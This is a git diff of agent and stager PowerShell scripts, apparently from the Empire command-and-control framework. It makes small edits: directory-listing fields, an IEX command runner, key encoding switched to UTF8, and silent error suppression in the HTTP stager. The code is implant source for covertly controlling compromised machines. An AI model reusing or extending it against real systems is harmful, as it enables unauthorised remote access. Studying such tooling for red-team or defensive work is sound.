diff --git a/data/agent/agent.ps1 b/data/agent/agent.ps1
index eb25b3a..d46afd5 100644
--- a/data/agent/agent.ps1
+++ b/data/agent/agent.ps1
@@ -281,11 +281,11 @@ function Invoke-Empire {
             switch -regex ($cmd) {
                 '(ls|^dir)' {
                     if ($cmdargs.length -eq "") {
-                        $output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
+                        $output = Get-ChildItem -force | select mode,lastwritetime,length,name
                     }
                     else {
                         try{
-                            $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name"
+                            $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name"
                         }
                         catch [System.Management.Automation.ActionPreferenceStopException] {
                             $output = "[!] Error: $_ (or cannot be accessed)."
diff --git a/data/agent/stagers/dropbox.ps1 b/data/agent/stagers/dropbox.ps1
index cfc5cfe..28dee07 100644
--- a/data/agent/stagers/dropbox.ps1
+++ b/data/agent/stagers/dropbox.ps1
@@ -52,7 +52,7 @@ function Start-Negotiate {
 
     # try to ignore all errors
     $ErrorActionPreference = "SilentlyContinue";
-    $e=[System.Text.Encoding]::ASCII;
+    $e=[System.Text.Encoding]::UTF8;
 
     $SKB=$e.GetBytes($SK);
     # set up the AES/HMAC crypto
diff --git a/data/agent/stagers/http.ps1 b/data/agent/stagers/http.ps1
index 77b3ed3..6abd449 100644
--- a/data/agent/stagers/http.ps1
+++ b/data/agent/stagers/http.ps1
@@ -56,8 +56,8 @@ function Start-Negotiate {
     $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
 
     # try to ignore all errors
-    #$ErrorActionPreference = "SilentlyContinue";
-    $e=[System.Text.Encoding]::ASCII;
+    $ErrorActionPreference = "SilentlyContinue";
+    $e=[System.Text.Encoding]::UTF8;
     $customHeaders = "";
     $SKB=$e.GetBytes($SK);
     # set up the AES/HMAC crypto
diff --git a/data/agent/stagers/http_com.ps1 b/data/agent/stagers/http_com.ps1
index eab45c7..9d9814c 100644
--- a/data/agent/stagers/http_com.ps1
+++ b/data/agent/stagers/http_com.ps1
@@ -57,7 +57,7 @@ function Start-Negotiate {
 
     # try to ignore all errors
     $ErrorActionPreference = "SilentlyContinue";
-    $e=[System.Text.Encoding]::ASCII;
+    $e=[System.Text.Encoding]::UTF8;
     $customHeaders = "";
     $SKB=$e.GetBytes($SK);
     # set up the AES/HMAC crypto
diff --git a/data/agent/stagers/http_mapi.ps1 b/data/agent/stagers/http_mapi.ps1
index d34a9e8..b431b75 100644
Binary files a/data/agent/stagers/http_mapi.ps1 and b/data/agent/stagers/http_mapi.ps1 differ
diff --git a/data/agent/stagers/onedrive.ps1 b/data/agent/stagers/onedrive.ps1
index 571fe5a..1e10152 100644
--- a/data/agent/stagers/onedrive.ps1
+++ b/data/agent/stagers/onedrive.ps1
@@ -52,7 +52,7 @@ function Start-Negotiate {
 
     # try to ignore all errors
     $ErrorActionPreference = "SilentlyContinue";
-    $e=[System.Text.Encoding]::ASCII;
+    $e=[System.Text.Encoding]::UTF8;
 
     $SKB=$e.GetBytes($SK);
     # set up the AES/HMAC crypto